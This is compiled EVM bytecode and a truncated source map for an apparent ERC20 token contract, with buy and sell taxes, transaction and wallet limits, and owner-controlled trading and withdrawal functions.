875af1158015611693573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116b791906134f0565b505050565b601960029054906101000a900460ff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6117596119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117dc906130dd565b60405180910390fd5b81601960016101000a81548160ff021916908315150217905550806015819055505050565b6118126119c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461189e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611895906130dd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390613604565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3390613692565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa190613720565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b849190612ea7565b60405180910390a3505050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16159050919050565b600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611caa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca1906137ae565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0f9061383c565b60405180910390fd5b5f8111611d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d51906138ca565b60405180910390fd5b5f611d63611372565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611dd15750611da1611372565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561252a57611e126064611e04600c54600f5411611df157600854611df5565b600a545b8561283c90919063ffffffff16565b6128b390919063ffffffff16565b90506007544303611e9857606560055f4381526020019081526020015f205410611e71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6890613932565b60405180910390fd5b60055f4381526020019081526020015f205f815480929190611e9290613950565b91905055505b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f3b575060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f8e575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561204857601254821115611fd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcf906139e1565b60405180910390fd5b60135482611fe585610bc2565b611fef91906139ff565b1115612030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202790613a7c565b60405180910390fd5b600f5f81548092919061204290613950565b91905055505b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156120e6575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561214457601354826120f885610bc2565b61210291906139ff565b1115612143576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213a90613a7c565b60405180910390fd5b5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156121c657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561220a5761220760646121f9600d54600f54116121e6576009546121ea565b600b545b8561283c90919063ffffffff16565b6128b390919063ffffffff16565b90505b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156122a8575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156122e057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156122e9575f90505b5f6122f330610bc2565b9050601960029054906101000a900460ff16801561231d575060195f9054906101000a900460ff16155b801561236f575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156123875750601960019054906101000a900460ff165b8015612394575060145481115b80156123a35750600e54600f54115b15612457576011544311156123ba575f6010819055505b60185460105410612400576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f790613ae4565b60405180910390fd5b61241d61241884612413846015546128fc565b6128fc565b612914565b5f4790505f8111156124335761243247612b7d565b5b60105f81548092919061244590613950565b91905055504360118190555050612528565b60195f9054906101000a900460ff161580156124b9575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156124d15750601960019054906101000a900460ff165b80156124de575060145481115b80156124ed5750600e54600f54115b156125275761250f61250a84612505846015546128fc565b6128fc565b612914565b5f4790505f8111156125255761252447612b7d565b5b505b5b505b5f811115612629576125828160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612be590919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126209190612ea7565b60405180910390a35b6126798260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c4290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061271c6126d08284612c4290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612be590919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6127bf8486612c4290919063ffffffff16565b6040516127cc9190612ea7565b60405180910390a350505050565b5f838311158290612821576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128189190612d76565b60405180910390fd5b505f838561282f9190613b02565b9050809150509392505050565b5f80830361284c575f90506128ad565b5f828461285991906132a1565b90508284826128689190613b62565b146128a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289f90613c02565b60405180910390fd5b809150505b92915050565b5f6128f483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612c8b565b905092915050565b5f81831161290a578261290c565b815b905092915050565b600160195f6101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561294a57612949613c20565b5b6040519080825280602002602001820160405280156129785781602001602082028036833780820191505090505b50905030815f8151811061298f5761298e613c4d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612a33573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612a57919061335e565b81600181518110612a6b57612a6a613c4d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612ad13060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846119ce565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612b33959493929190613d31565b5f604051808303815f87803b158015612b4a575f80fd5b505af1158015612b5c573d5f803e3d5ffd5b50505050505f60195f6101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612be1573d5f803e3d5ffd5b5050565b5f808284612bf391906139ff565b905083811015612c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2f90613dd3565b60405180910390fd5b8091505092915050565b5f612c8383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506127da565b905092915050565b5f8083118290612cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc89190612d76565b60405180910390fd5b505f8385612cdf9190613b62565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612d23578082015181840152602081019050612d08565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612d4882612cec565b612d528185612cf6565b9350612d62818560208601612d06565b612d6b81612d2e565b840191505092915050565b5f6020820190508181035f830152612d8e8184612d3e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612dc382612d9a565b9050919050565b612dd381612db9565b8114612ddd575f80fd5b50565b5f81359050612dee81612dca565b92915050565b5f819050919050565b612e0681612df4565b8114612e10575f80fd5b50565b5f81359050612e2181612dfd565b92915050565b5f8060408385031215612e3d57612e3c612d96565b5b5f612e4a85828601612de0565b9250506020612e5b85828601612e13565b9150509250929050565b5f8115159050919050565b612e7981612e65565b82525050565b5f602082019050612e925f830184612e70565b92915050565b612ea181612df4565b82525050565b5f602082019050612eba5f830184612e98565b92915050565b5f60208284031215612ed557612ed4612d96565b5b5f612ee284828501612de0565b91505092915050565b5f805f60608486031215612f0257612f01612d96565b5b5f612f0f86828701612de0565b9350506020612f2086828701612de0565b9250506040612f3186828701612e13565b9150509250925092565b5f60ff82169050919050565b612f5081612f3b565b82525050565b5f602082019050612f695f830184612f47565b92915050565b612f7881612db9565b82525050565b5f602082019050612f915f830184612f6f565b92915050565b5f60208284031215612fac57612fab612d96565b5b5f612fb984828501612e13565b91505092915050565b612fcb81612e65565b8114612fd5575f80fd5b50565b5f81359050612fe681612fc2565b92915050565b5f6020828403121561300157613000612d96565b5b5f61300e84828501612fd8565b91505092915050565b5f806040838503121561302d5761302c612d96565b5b5f61303a85828601612de0565b925050602061304b85828601612de0565b9150509250929050565b5f806040838503121561306b5761306a612d96565b5b5f61307885828601612fd8565b925050602061308985828601612e13565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6130c7602083612cf6565b91506130d282613093565b602082019050919050565b5f6020820190508181035f8301526130f4816130bb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561317d57808604811115613159576131586130fb565b5b60018516156131685780820291505b808102905061317685613128565b945061313d565b94509492505050565b5f826131955760019050613250565b816131a2575f9050613250565b81600181146131b857600281146131c2576131f1565b6001915050613250565b60ff8411156131d4576131d36130fb565b5b8360020a9150848211156131eb576131ea6130fb565b5b50613250565b5060208310610133831016604e8410600b84101617156132265782820a905083811115613221576132206130fb565b5b613250565b6132338484846001613134565b9250905081840481111561324a576132496130fb565b5b81810290505b9392505050565b5f61326182612df4565b915061326c83612f3b565b92506132997fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613186565b905092915050565b5f6132ab82612df4565b91506132b683612df4565b92508282026132c481612df4565b915082820484148315176132db576132da6130fb565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f613316601783612cf6565b9150613321826132e2565b602082019050919050565b5f6020820190508181035f8301526133438161330a565b9050919050565b5f8151905061335881612dca565b92915050565b5f6020828403121561337357613372612d96565b5b5f6133808482850161334a565b91505092915050565b5f60408201905061339c5f830185612f6f565b6133a96020830184612f6f565b9392505050565b5f819050919050565b5f819050919050565b5f6133dc6133d76133d2846133b0565b6133b9565b612df4565b9050919050565b6133ec816133c2565b82525050565b5f60c0820190506134055f830189612f6f565b6134126020830188612e98565b61341f60408301876133e3565b61342c60608301866133e3565b6134396080830185612f6f565b61344660a0830184612e98565b979650505050505050565b5f8151905061345f81612dfd565b92915050565b5f805f6060848603121561347c5761347b612d96565b5b5f61348986828701613451565b935050602061349a86828701613451565b92505060406134ab86828701613451565b9150509250925092565b5f6040820190506134c85f830185612f6f565b6134d56020830184612e98565b9392505050565b5f815190506134ea81612fc2565b92915050565b5f6020828403121561350557613504612d96565b5b5f613512848285016134dc565b91505092915050565b5f61353561353061352b84612d9a565b6133b9565b612d9a565b9050919050565b5f6135468261351b565b9050919050565b5f6135578261353c565b9050919050565b6135678161354d565b82525050565b5f6040820190506135805f83018561355e565b61358d6020830184612e98565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6135ee602683612cf6565b91506135f982613594565b604082019050919050565b5f6020820190508181035f83015261361b816135e2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61367c602483612cf6565b915061368782613622565b604082019050919050565b5f6020820190508181035f8301526136a981613670565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61370a602283612cf6565b9150613715826136b0565b604082019050919050565b5f6020820190508181035f830152613737816136fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613798602583612cf6565b91506137a38261373e565b604082019050919050565b5f6020820190508181035f8301526137c58161378c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613826602383612cf6565b9150613831826137cc565b604082019050919050565b5f6020820190508181035f8301526138538161381a565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6138b4602983612cf6565b91506138bf8261385a565b604082019050919050565b5f6020820190508181035f8301526138e1816138a8565b9050919050565b7f457863656564732062757973206f6e2074686520666972737420626c6f636b2e5f82015250565b5f61391c602083612cf6565b9150613927826138e8565b602082019050919050565b5f6020820190508181035f83015261394981613910565b9050919050565b5f61395a82612df4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361398c5761398b6130fb565b5b600182019050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f6139cb601983612cf6565b91506139d682613997565b602082019050919050565b5f6020820190508181035f8301526139f8816139bf565b9050919050565b5f613a0982612df4565b9150613a1483612df4565b9250828201905080821115613a2c57613a2b6130fb565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613a66601a83612cf6565b9150613a7182613a32565b602082019050919050565b5f6020820190508181035f830152613a9381613a5a565b9050919050565b7f43412062616c616e63652073656c6c00000000000000000000000000000000005f82015250565b5f613ace600f83612cf6565b9150613ad982613a9a565b602082019050919050565b5f6020820190508181035f830152613afb81613ac2565b9050919050565b5f613b0c82612df4565b9150613b1783612df4565b9250828203905081811115613b2f57613b2e6130fb565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613b6c82612df4565b9150613b7783612df4565b925082613b8757613b86613b35565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613bec602183612cf6565b9150613bf782613b92565b604082019050919050565b5f6020820190508181035f830152613c1981613be0565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613cac81612db9565b82525050565b5f613cbd8383613ca3565b60208301905092915050565b5f602082019050919050565b5f613cdf82613c7a565b613ce98185613c84565b9350613cf483613c94565b805f5b83811015613d24578151613d0b8882613cb2565b9750613d1683613cc9565b925050600181019050613cf7565b5085935050505092915050565b5f60a082019050613d445f830188612e98565b613d5160208301876133e3565b8181036040830152613d638186613cd5565b9050613d726060830185612f6f565b613d7f6080830184612e98565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613dbd601b83612cf6565b9150613dc882613d89565b602082019050919050565b5f6020820190508181035f830152613dea81613db1565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5115b9cef948a97ce642b43f0d5bcc1387eded02e48750aa67c8098ad9eb62864736f6c63430008170033

Deployed Bytecode Sourcemap

3956:9539:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12380:162;;;;;;;;;;;;;:::i;:::-;;6011:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6844:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11981:111;;;;;;;;;;;;;:::i;:::-;;5221:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5399:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6288:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7677:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7013:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6197:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5333:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4214:38;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11768:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6391:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2787:148;;;;;;;;;;;;;:::i;:::-;;5024:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12650:805;;;;;;;;;;;;;:::i;:::-;;2573:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5089:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11878:95;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12256:116;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6102:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6518:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5154:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12100:148;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5511:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6693:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11617;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2943:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12380:162;2710:12;:10;:12::i;:::-;2700:22;;:6;;;;;;;;;;:22;;;2692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4828:1:::1;4886:2;:13;;;;:::i;:::-;4871:12;:28;;;;:::i;:::-;12436:12;:22;;;;4828:1;4886:2;:13;;;;:::i;:::-;4871:12;:28;;;;:::i;:::-;12469:14;:22;;;;12507:27;4828:1;4886:2;:13;;;;:::i;:::-;4871:12;:28;;;;:::i;:::-;12507:27;;;;;;:::i;:::-;;;;;;;;12380:162::o:0;6011:83::-;6048:13;6081:5;;;;;;;;;;;;;;;;;6074:12;;6011:83;:::o;6844:161::-;6919:4;6936:39;6945:12;:10;:12::i;:::-;6959:7;6968:6;6936:8;:39::i;:::-;6993:4;6986:11;;6844:161;;;;:::o;11981:111::-;2710:12;:10;:12::i;:::-;2700:22;;:6;;;;;;;;;;:22;;;2692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12041:10:::1;;;;;;;;;;;12033:28;;:51;12062:21;12033:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;11981:111::o:0;5221:54::-;;;;:::o;5399:32::-;;;;:::o;6288:95::-;6341:7;4828:1;4886:2;:13;;;;:::i;:::-;4871:12;:28;;;;:::i;:::-;6361:14;;6288:95;:::o;7677:119::-;2710:12;:10;:12::i;:::-;2700:22;;:6;;;;;;;;;;:22;;;2692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7738:20:::1;7754:3;7738:15;:20::i;:::-;7734:55;;;7771:8;7775:3;7771;:8::i;:::-;7734:55;7677:119:::0;:::o;7013:313::-;7111:4;7128:36;7138:6;7146:9;7157:6;7128:9;:36::i;:::-;7175:121;7184:6;7192:12;:10;:12::i;:::-;7206:89;7244:6;7206:89;;;;;;;;;;;;;;;;;:11;:19;7218:6;7206:19;;;;;;;;;;;;;;;:33;7226:12;:10;:12::i;:::-;7206:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7175:8;:121::i;:::-;7314:4;7307:11;;7013:313;;;;;:::o;6197:83::-;6238:5;4828:1;6256:16;;6197:83;:::o;5333:28::-;;;;;;;;;;;;;:::o;4214:38::-;;;;;;;;;;;;;;;;;;;;;;:::o;11768:102::-;2710:12;:10;:12::i;:::-;2700:22;;:6;;;;;;;;;;:22;;;2692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11856:6:::1;11840:13;:22;;;;11768:102:::0;:::o;6391:119::-;6457:7;6484:9;:18;6494:7;6484:18;;;;;;;;;;;;;;;;6477:25;;6391:119;;;:::o;2787:148::-;2710:12;:10;:12::i;:::-;2700:22;;:6;;;;;;;;;;:22;;;2692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2894:1:::1;2857:40;;2878:6;::::0;::::1;;;;;;;;2857:40;;;;;;;;;;;;2925:1;2908:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2787:148::o:0;5024:58::-;;;;:::o;12650:805::-;2710:12;:10;:12::i;:::-;2700:22;;:6;;;;;;;;;;:22;;;2692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12716:11:::1;;;;;;;;;;;12715:12;12707:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;12802:42;12765:15;;:80;;;;;;;;;;;;;;;;;;12856:58;12873:4;12888:15;;;;;;;;;;;4828:1;4886:2;:13;;;;:::i;:::-;4871:12;:28;;;;:::i;:::-;12856:8;:58::i;:::-;12959:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12941:55;;;13005:4;13012:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12941:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12925:13;;:110;;;;;;;;;;;;;;;;;;13078:4;13046:5;:29;13060:13;;;;;;;;;;;13046:29;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;13127:4;13093:7;:31;13109:13;;;;;;;;;;;13093:31;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;13142:15;;;;;;;;;;;:31;;;13181:21;13212:4;13218:24;13236:4;13218:9;:24::i;:::-;13243:1;13245::::0;13247:7:::1;:5;:7::i;:::-;13255:15;13142:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13289:13;;;;;;;;;;;13282:29;;;13320:15;;;;;;;;;;;13338:14;13282:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13378:4;13364:11;;:18;;;;;;;;;;;;;;;;;;13407:4;13393:11;;:18;;;;;;;;;;;;;;;;;;13435:12;13422:10;:25;;;;12650:805::o:0;2573:79::-;2611:7;2638:6;;;;;;;;;;;2631:13;;2573:79;:::o;5089:58::-;;;;:::o;11878:95::-;2710:12;:10;:12::i;:::-;2700:22;;:6;;;;;;;;;;:22;;;2692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11958:7:::1;11945:10;;:20;;;;;;;;;;;;;;;;;;11878:95:::0;:::o;12256:116::-;2710:12;:10;:12::i;:::-;2700:22;;:6;;;;;;;;;;:22;;;2692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12351:12:::1;12330:10;;:34;;;;;;;;;;;;;;;;;;12256:116:::0;:::o;6102:87::-;6141:13;6174:7;;;;;;;;;;;;;;;;;6167:14;;6102:87;:::o;6518:167::-;6596:4;6613:42;6623:12;:10;:12::i;:::-;6637:9;6648:6;6613:9;:42::i;:::-;6673:4;6666:11;;6518:167;;;;:::o;5154:60::-;;;;:::o;12100:148::-;2710:12;:10;:12::i;:::-;2700:22;;:6;;;;;;;;;;:22;;;2692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12199:10:::1;12192:27;;;12220:10;;;;;;;;;;;12232:7;12192:48;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12100:148:::0;;:::o;5511:29::-;;;;;;;;;;;;;:::o;6693:143::-;6774:7;6801:11;:18;6813:5;6801:18;;;;;;;;;;;;;;;:27;6820:7;6801:27;;;;;;;;;;;;;;;;6794:34;;6693:143;;;;:::o;11617:::-;2710:12;:10;:12::i;:::-;2700:22;;:6;;;;;;;;;;:22;;;2692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11714:7:::1;11700:11;;:21;;;;;;;;;;;;;;;;;;11746:6;11732:11;:20;;;;11617:143:::0;;:::o;2943:244::-;2710:12;:10;:12::i;:::-;2700:22;;:6;;;;;;;;;;:22;;;2692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3052:1:::1;3032:22;;:8;:22;;::::0;3024:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3142:8;3113:38;;3134:6;::::0;::::1;;;;;;;;3113:38;;;;;;;;;;;;3171:8;3162:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2943:244:::0;:::o;328:98::-;381:7;408:10;401:17;;328:98;:::o;7334:335::-;7444:1;7427:19;;:5;:19;;;7419:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7525:1;7506:21;;:7;:21;;;7498:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7607:6;7577:11;:18;7589:5;7577:18;;;;;;;;;;;;;;;:27;75